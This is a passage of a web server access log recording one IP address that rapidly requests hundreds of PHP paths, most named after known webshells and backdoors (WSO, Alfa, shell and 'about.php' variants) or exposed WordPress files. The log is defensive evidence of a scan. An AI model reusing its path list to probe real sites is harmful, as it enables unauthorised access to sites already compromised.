"GET /if.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:18 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:18 -0400] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:18 -0400] "GET /wp-content/plugins/elementor/elementor-merge.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:19 -0400] "GET /wp-content/uploads/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:19 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:20 -0400] "GET /gank.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:20 -0400] "GET /wp-includes/js/plupload/wp-admin.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:21 -0400] "GET /wp-content/uploads/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:21 -0400] "GET /.well-known/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:21 -0400] "GET /uploads/up.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:22 -0400] "GET /wp-content/upgrade/edit-links.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:22 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:23 -0400] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:23 -0400] "GET /wp-admin/includes/fw.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:23 -0400] "GET /docs/ HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:24 -0400] "GET /Uploader.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:24 -0400] "GET /editor.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:24 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:25 -0400] "GET /css/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:25 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:26 -0400] "GET /wp-includes/Text/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:26 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:26 -0400] "GET /wp-admin/css/colors/fridSiB.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:27 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:27 -0400] "GET /xxx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:27 -0400] "GET /templates/beez5/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:28 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:28 -0400] "GET /wso1337.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:29 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:29 -0400] "GET /wp-content/blogs.dir/ HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:29 -0400] "GET /wp-content/themes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:30 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:30 -0400] "GET /about.php?525 HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:31 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:31 -0400] "GET /bala.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:31 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:32 -0400] "GET /ccx/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:32 -0400] "GET /cadastro-2.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:33 -0400] "GET /cache-base.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:33 -0400] "GET /jquery.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:33 -0400] "GET /favicon.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:34 -0400] "GET /b0.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:34 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:34 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:35 -0400] "GET /moduless.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:35 -0400] "GET /wp-content/themes/sky-pro/js.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:36 -0400] "GET /wp-includes/wp-class.php/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:36 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:36 -0400] "GET /wp-content/plugins/seooyanz/ HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:37 -0400] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:37 -0400] "GET /templates/beez3/error.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:38 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:38 -0400] "GET /02.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:38 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:39 -0400] "GET /alf.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:39 -0400] "GET /authorize.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:40 -0400] "GET /wp-admin/css/colors/blue/blkabtfa.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:40 -0400] "GET /nee.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:40 -0400] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:41 -0400] "GET /wp-includes/wp_class_datlib.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:41 -0400] "GET /web.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:42 -0400] "GET /backup.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:42 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:42 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:43 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:43 -0400] "GET /wp-includes/Requests/sxo.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:44 -0400] "GET /superadmin.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:44 -0400] "GET /indeex.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:44 -0400] "GET /alfashell.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:45 -0400] "GET /wp-back.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:45 -0400] "GET /wp-content/plugins/df2xx/ HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:46 -0400] "GET /wp-configer.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:46 -0400] "GET /wp-content/uploads/json.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:46 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:47 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:47 -0400] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:47 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:48 -0400] "GET /init.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:48 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:49 -0400] "GET /wp-hoard.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:49 -0400] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:50 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:50 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:50 -0400] "GET /srx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:51 -0400] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:51 -0400] "GET /kiss.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:52 -0400] "GET /feed-rss2-queue.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:52 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:52 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:53 -0400] "GET /9.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:53 -0400] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:54 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:54 -0400] "GET /rahma.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:54 -0400] "GET /themes/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:55 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:55 -0400] "GET /4.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:56 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:56 -0400] "GET /wp-content/plugins/vwcleanerplugin/bump.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:56 -0400] "GET /xl.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:57 -0400] "GET /wp-content/plugins/TOPXOH/wDR.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:57 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:58 -0400] "GET /widgets.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:58 -0400] "GET /wp2.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:58 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:59 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:00 -0400] "GET /6index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:00 -0400] "GET /fucixwya.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:00 -0400] "GET /wp-content/themes/twentyseventeen/page/ HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:01 -0400] "GET /wp-adminincludesclass-wp-media-list-data.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:01 -0400] "GET /wp-content/uploads/setup HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:02 -0400] "GET /haxor.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:02 -0400] "GET /colour.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:02 -0400] "GET /tuco.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:03 -0400] "GET /wp-admin/themes/about HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:03 -0400] "GET /.well-known/gecko-litespeed.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:04 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:04 -0400] "GET /.fk.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:04 -0400] "GET /wp-content/plugins/xichang/x.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:05 -0400] "GET /home/function.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:05 -0400] "GET /8.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:06 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:06 -0400] "GET /wp-contentt.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:06 -0400] "GET /wp-includes/js/e3B6W/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:07 -0400] "GET /ge.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:07 -0400] "GET /1337.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:08 -0400] "GET /wp-includes/css/css.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:08 -0400] "GET /wp-content/plugins/apikey/mar.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:08 -0400] "GET /lv.php7 HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:09 -0400] "GET /6.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:09 -0400] "GET /pi.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:10 -0400] "GET /defau1t.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:10 -0400] "GET /wp-content/wp.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:10 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:11 -0400] "GET /mar.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:11 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:12 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:12 -0400] "GET /defense.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:12 -0400] "GET /ty.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:13 -0400] "GET /.well-known/pki-validation/themes.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:13 -0400] "GET /.well-known/themes HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:14 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:14 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:15 -0400] "GET /wp-content/plugins/backup-backup/includes/438788106...php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:15 -0400] "GET /2index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:16 -0400] "GET /wp-admin/css/sx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:16 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:16 -0400] "GET /form.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:17 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:17 -0400] "GET /word.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:17 -0400] "GET /BIBIL0DAY.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:18 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:18 -0400] "GET /delpaths.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:19 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:19 -0400] "GET /components/com_jea/views/form/ HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:19 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:20 -0400] "GET /symlink.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:20 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:21 -0400] "GET /templates/atomic/templates.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:21 -0400] "GET /am.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:22 -0400] "GET /export.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:22 -0400] "GET /shx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:22 -0400] "GET /wp-includes/qqzqflcv.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:23 -0400] "GET /wp-content/plugins/simple/simple.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:23 -0400] "GET /gecko.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:23 -0400] "GET /p.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:24 -0400] "GET /wp-includes/IXR/themes.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:24 -0400] "GET /block-bindings.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:25 -0400] "GET /.well-known/cong.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:25 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:26 -0400] "GET /templates/beez_20/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:26 -0400] "GET /sidwsi.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:27 -0400] "GET /xz.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:28 -0400] "GET /moded.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:28 -0400] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:28 -0400] "GET /moderation.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:29 -0400] "GET /wp-ad.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:29 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:30 -0400] "GET /comdofuns.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:30 -0400] "GET /baja.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:30 -0400] "GET /kn.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:31 -0400] "GET /h.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:32 -0400] "GET /edit-comments.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:32 -0400] "GET /wp-includes/wp-activate.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:32 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/ffl82xdf59.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:33 -0400] "GET /plugins.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:33 -0400] "GET /geju.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:33 -0400] "GET /wp-content/plugins/upspy/sllolx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:34 -0400] "GET /n.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:34 -0400] "GET /1index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:35 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:35 -0400] "GET /wp-content/themes/wp-pridmag/init.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:35 -0400] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:36 -0400] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:36 -0400] "GET /spip.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:36 -0400] "GET /wp-includes/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:37 -0400] "GET /wp-content/plugins/lgexwbe/ HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:37 -0400] "GET /Sendemail.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:38 -0400] "GET /777.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:38 -0400] "GET /xl2023.php.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:38 -0400] "GET /assets/css/403.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:39 -0400] "GET /config.php7 HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:39 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:40 -0400] "GET /ebs.php7 HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:40 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:40 -0400] "GET /wp-content/plugins/upspy/up.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:41 -0400] "GET /wp-admin/css/lock.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:41 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:41 -0400] "GET /.well-known/esjmskva.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:42 -0400] "GET /chtmlfuns.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:42 -0400] "GET /style.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:43 -0400] "GET /wp-content/plugins/Duplicatepost/src/ui/sidwso.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:43 -0400] "GET /.well-known/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:43 -0400] "GET /images/sym.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:44 -0400] "GET /wp-content/uploads/+year+/+month+/ HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:44 -0400] "GET /wp-content/fw.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:44 -0400] "GET /libraries/joomla/css.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:45 -0400] "GET /1975.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:45 -0400] "GET /0byte.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:46 -0400] "GET /ioxi001.PhP7 HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:46 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:46 -0400] "GET /bootstrap.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:47 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:47 -0400] "GET /tmp_images/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:47 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:48 -0400] "GET /sessions.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:48 -0400] "GET /cache-compat.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:48 -0400] "GET /xxc.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:49 -0400] "GET /ae.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:49 -0400] "GET /css/access.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:49 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:50 -0400] "GET /lol.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:50 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:51 -0400] "GET /wp-includes/js/crop/crop.php HTTP/1.1" 301 795 "-" "-" 